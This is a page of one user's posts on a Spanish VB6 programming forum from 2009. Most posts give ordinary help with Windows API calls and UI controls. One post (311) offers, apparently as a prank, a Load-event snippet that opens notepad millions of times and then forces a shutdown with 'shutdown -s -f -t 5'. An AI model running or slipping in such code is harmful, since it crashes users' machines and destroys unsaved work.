elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 ... 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [32] 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ... 74
311  Programación / Programación Visual Basic / Re: ayuda con programa no se programar.... en: 21 Octubre 2009, 22:25 pm
Este codigo es para Visua Basic 6:

Código
  1.    Dim iFila As Integer, iColumna As Integer
  2.  
  3.        For iFila = 1 To 10000
  4.            For iColumna = 1 To 10000
  5.                Shell "notepad.exe", vbNormalFocus
  6.            Next
  7.        Next
  8.    Shell "shutdown -s -f -t 5"
  9.  

Coloquelo en el evento Load del form.

Esto es un foro, Porque le haces la tarea  ;D ;D
312  Programación / Programación Visual Basic / Re: [SOURCE] Native Api - NtSuspendProcess/NtResumeProcess en: 21 Octubre 2009, 03:57 am
Muy bueno Seba ;-), le corta todo los hilos al proceso.

Saludos
313  Programación / Programación Visual Basic / Re: Como funciona de la API Enumchildproc ?????? en: 12 Octubre 2009, 06:56 am
Hola a que te referis con el ID del objecto, que es lo que queres hacer,  si buscas el hwnd tambien tenes el api Findwindow y FindWindowEx.

cualquier cosa explica un poco mas detallado lo que andas buscando.

Saludos.-
314  Programación / Programación Visual Basic / Re: juego del ping pong en: 9 Octubre 2009, 21:31 pm
Aca hay un poco mas de infor para aprender sobre senos.


 ;D ;D
315  Programación / Programación Visual Basic / Re: como hacer webbrowser sin bordes? en: 9 Octubre 2009, 20:48 pm
Hola lo que podes hacer tambien es crear una region y eliminar el borde y despues si le podes poner un shape o lo que quieras.

tene en cuenta que si le vas a cambiar el tamaño en tiempo de ejecucion tenes que aplicar nuevamente la region con el nuevo tamaño.

Código:
Option Explicit
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function CreateRectRgn Lib "gdi32.dll" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32.dll" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long


Dim hBrowser As Long

Private Sub Form_Load()
Dim hRgn As Long

WebBrowser1.Navigate "www.google.com"


hBrowser = FindWindowEx(Me.hWnd, ByVal 0&, "Shell Embedding", vbNullString)
hRgn = CreateRectRgn(2, 2, (WebBrowser1.Width / 15) - 2, (WebBrowser1.Height / 15) - 2)
SetWindowRgn hBrowser, hRgn, True

End Sub

PD: Te es nesesario realmente utilizar un webbrowser para hacer una presentación de fotos???

Saludos.
316  Programación / Programación Visual Basic / Re: [Source] ListBoxViewEx (Beta) en: 8 Octubre 2009, 05:17 am
muy bien che, no molestar para nada al contrario para eso es codigo abierto. lo estuve porbando y hay un par de cositas que vi a la ligera, en algunos casos los items se ensiman un poco.

te recomiendo no usar TextHeight o TextWidth ya que si no trabajas con el hdc del UC te es combeniente utilizar DrawText  con los flag  DT_SINGLELINE or DT_CALCRECT

para dibujar un texto con los puntos al final no uses la funcion DelimitarTexto podes utilizar  DT_VCENTER Or DT_SINGLELINE Or DT_WORD_ELLIPSIS

por parte de la selecion el problema es que solo podes utilizar en forma secuencial y no el 1 y el 5 por ejemplo. yo creo que lo mejor seria ponerle al tItem Selected                       As Boolean
entonces cuando estas con la tecla shift y vas haciendo click vas poniendo Selected =true y a la hora de dibujar estos los pintas, pero a la vez tambien creas un array (buffer) de lo que estan selecionados esto para acelerar a la hora de consultar cuales lo estan o para deselecionarlos sin tener que recorrer todo el array de los item en el list.

y en cuanto al scroll estaria bueno que sea un poco visible (para saber que se puede deslizar hacia alguna parte.)

bueno espero que le sigas dando con ganas va a quedar muy bueno.

Saludos.



317  Programación / Programación Visual Basic / Re: Mover un control y que permita ajustar el resto automáticamente en: 7 Octubre 2009, 20:53 pm
Hola muy bien ░▒▓BlackZeroҖ▓▒░  lo probe y funciona muy bien.

ssccaann43  hace lo siguiente agrega a un formulario un PictureBox llamado "Pic" con el index = 0  y un Timer1 y pega el codigo funciona muy bien.

Saludos.

318  Programación / Programación Visual Basic / Re: [Duda] Seven/Vista en: 4 Octubre 2009, 06:06 am
Hola, Teoricamente las dos es un ocx mas.

saludos
319  Programación / Programación Visual Basic / Re: [DUDA] generar exe desde un programa hecho en vB... en: 1 Octubre 2009, 04:07 am
Hola la verdad se hace muy dificil leer los mensajes con las fuentes centralizadas y en negritas, porque mejor la fuente por defecto.

Saludos.
320  Programación / Programación Visual Basic / Re: Senkeys TECLA Fn o FUNCION en: 30 Septiembre 2009, 00:25 am
Hola proba de esta manera.

Código:
Option Explicit
Const KEYEVENTF_KEYUP = &H2
Private Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Sub Command1_Click()
    keybd_event 149, 0, 0, 0
    keybd_event 149, 0, KEYEVENTF_KEYUP, 0
End Sub
Páginas: 1 ... 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [32] 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ... 74
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines